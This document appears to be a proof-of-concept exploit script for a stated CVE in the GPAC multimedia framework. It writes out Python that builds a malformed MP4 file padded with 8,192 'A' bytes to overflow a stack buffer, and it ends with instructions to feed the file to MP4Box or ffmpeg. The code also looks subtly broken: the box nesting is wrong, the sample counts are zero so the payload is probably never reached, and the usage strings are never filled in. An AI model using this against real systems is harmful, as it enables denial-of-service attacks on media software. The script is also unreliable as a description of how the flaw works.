#!/usr/bin/env python3
# CVE-2025-70307 PoC - GPAC dump_ttxt_sample Stack Overflow
# Generate malicious MP4 file with oversized tx3g sample to trigger DoS
import struct
import sys
def create_poc_mp4():
"""
Generate a PoC MP4 file that triggers stack overflow in GPAC's dump_ttxt_sample function.
The malicious file contains an oversized tx3g text sample that causes buffer overflow.
"""
# MP4 file structure with malicious tx3g data
poc_data = bytearray()
# ftyp box - File Type Box
ftyp = b'ftyp'
major_brand = b'isom'
minor_version = struct.pack('>I', 0x200)
compatible_brands = b'isomiso2mp41'
ftyp_size = 8 + 4 + 4 + len(compatible_brands)
poc_data += struct.pack('>I', ftyp_size) + ftyp + major_brand + minor_version + compatible_brands
# moov box - Movie Box (container)
moov_data = bytearray()
# mvhd box - Movie Header Box
mvhd = b'mvhd'
mvhd_data = bytearray()
mvhd_data += struct.pack('>I', 0) # version
mvhd_data += b'\x00' * 3 + struct.pack('>I', 1) # creation time
mvhd_data += b'\x00' * 3 + struct.pack('>I', 1) # modification time
mvhd_data += struct.pack('>I', 1000) # timescale
mvhd_data += struct.pack('>I', 1000) # duration
mvhd_data += struct.pack('>I', 0x00010000) # rate
mvhd_data += struct.pack('>H', 0x0100) # volume
mvhd_data += b'\x00' * 10 # reserved
mvhd_data += b'\x00' * 36 # matrix
mvhd_data += b'\x00' * 24 # pre-defined
mvhd_data += struct.pack('>I', 2) # next_track_ID
mvhd_box = struct.pack('>I', len(mvhd_data) + 8) + mvhd + mvhd_data
moov_data += mvhd_box
# trak box - Track Box
trak_data = bytearray()
# tkhd box - Track Header Box
tkhd = b'tkhd'
tkhd_data = bytearray()
tkhd_data += struct.pack('>I', 0) # version
tkhd_data += b'\x00' * 3 + struct.pack('>I', 1) # creation time
tkhd_data += b'\x00' * 3 + struct.pack('>I', 1) # modification time
tkhd_data += struct.pack('>I', 1) # track_ID
tkhd_data += struct.pack('>I', 0) # reserved
tkhd_data += struct.pack('>I', 1000) # duration
tkhd_data += b'\x00' * 8 # reserved
tkhd_data += struct.pack('>H', 0) # layer
tkhd_data += struct.pack('>H', 0) # alternate_group
tkhd_data += struct.pack('>H', 0) # volume
tkhd_data += struct.pack('>H', 0) # reserved
tkhd_data += b'\x00' * 36 # matrix
tkhd_data += struct.pack('>I', 320) # width
tkhd_data += struct.pack('>I', 240) # height
tkhd_box = struct.pack('>I', len(tkhd_data) + 8) + tkhd + tkhd_data
trak_data += tkhd_box
# mdia box - Media Box
mdia_data = bytearray()
# mdhd box - Media Header Box
mdhd = b'mdhd'
mdhd_data = bytearray()
mdhd_data += struct.pack('>I', 0) # version
mdhd_data += b'\x00' * 3 + struct.pack('>I', 1) # creation time
mdhd_data += b'\x00' * 3 + struct.pack('>I', 1) # modification time
mdhd_data += struct.pack('>I', 1000) # timescale
mdhd_data += struct.pack('>I', 1000) # duration
mdhd_data += struct.pack('>H', 0x55C4) # language (und)
mdhd_data += struct.pack('>H', 0) # pre_defined
mdhd_box = struct.pack('>I', len(mdhd_data) + 8) + mdhd + mdhd_data
mdia_data += mdhd_box
# minf box - Media Information Box
minf_data = bytearray()
# stsd box - Sample Description Box with tx3g
stsd = b'stsd'
stsd_data = bytearray()
stsd_data += struct.pack('>I', 0) # version
stsd_data += struct.pack('>I', 1) # entry_count
# tx3g sample entry - TEXT track with oversized data
tx3g = b'tx3g'
tx3g_data = bytearray()
tx3g_data += b'\x00' * 6 # reserved
tx3g_data += struct.pack('>H', 1) # data_reference_index
tx3g_data += b'\x00' * 8 # display flags, textJustification, backgroundColor
tx3g_data += struct.pack('>H', 16) # textTopMargin
tx3g_data += struct.pack('>H', 16) # textLeftMargin
tx3g_data += struct.pack('>H', 16) # textRightMargin
tx3g_data += struct.pack('>H', 16) # textBottomMargin
tx3g_data += struct.pack('>H', 255) # textColorRed
tx3g_data += struct.pack('>H', 255) # textColorGreen
tx3g_data += struct.pack('>H', 255) # textColorBlue
tx3g_data += struct.pack('>H', 255) # textColorAlpha
tx3g_data += struct.pack('>I', 0) # font_ID
tx3g_data += struct.pack('>H', 12) # font_face
tx3g_data += struct.pack('>B', 0) # font_name_string_length
tx3g_size = 8 + len(tx3g_data)
stsd_data += struct.pack('>I', tx3g_size) + tx3g + tx3g_data
stsd_box = struct.pack('>I', len(stsd_data) + 8) + stsd + stsd_data
minf_data += stsd_box
# stts box - Time to Sample Box
stts = b'stts'
stts_data = struct.pack('>I', 0) + struct.pack('>I', 0)
stts_box = struct.pack('>I', len(stts_data) + 8) + stts + stts_data
minf_data += stts_box
# stsc box - Sample to Chunk Box
stsc = b'stsc'
stsc_data = struct.pack('>I', 0) + struct.pack('>I', 0)
stsc_box = struct.pack('>I', len(stsc_data) + 8) + stsc + stsc_data
minf_data += stsc_box
# stsz box - Sample Size Box
stsz = b'stsz'
stsz_data = struct.pack('>I', 0) + struct.pack('>I', 0)
stsz_box = struct.pack('>I', len(stsz_data) + 8) + stsz + stsz_data
minf_data += stsz_box
# stco box - Chunk Offset Box
stco = b'stco'
stco_data = struct.pack('>I', 0) + struct.pack('>I', 0)
stco_box = struct.pack('>I', len(stco_data) + 8) + stco + stco_data
minf_data += stco_box
# Wrap minf box
minf = b'minf'
minf_box = struct.pack('>I', len(minf_data) + 8) + minf + minf_data
mdia_data += minf_box
# Wrap mdia box
mdia = b'mdia'
mdia_box = struct.pack('>I', len(mdia_data) + 8) + mdia + mdia_data
trak_data += mdia_box
# Wrap trak box
trak = b'trak'
trak_box = struct.pack('>I', len(trak_data) + 8) + trak + trak_data
moov_data += trak_box
# Wrap moov box
moov = b'moov'
moov_box = struct.pack('>I', len(moov_data) + 8) + moov + moov_data
poc_data += moov_box
# mdat box - Media Data Box with malicious tx3g sample
mdat = b'mdat'
# Create oversized tx3g sample data to trigger stack overflow
overflow_size = 8192 # Large overflow data
malicious_tx3g = b'A' * overflow_size # Pattern to overflow stack buffer
mdat_data = malicious_tx3g
mdat_box = struct.pack('>I', len(mdat_data) + 8) + mdat + mdat_data
poc_data += mdat_box
return bytes(poc_data)
def main():
print("[*] Generating CVE-2025-70307 PoC for GPAC stack overflow")
print("[*] Target: GPAC v2.4.0 dump_ttxt_sample function")
poc_file = create_poc_mp4()
output_file = "CVE-2025-70307-poc.mp4"
with open(output_file, 'wb') as f:
f.write(poc_file)
print(f"[+] PoC file created: {output_file}")
print(f"[+] File size: {len(poc_file)} bytes")
print("[*] Usage: Feed this file to vulnerable GPAC application")
print(" Example: MP4Box -dump-text {poc_file}")
print(" Or: ffmpeg -i {poc_file} output.mp4")
if __name__ == "__main__":
main()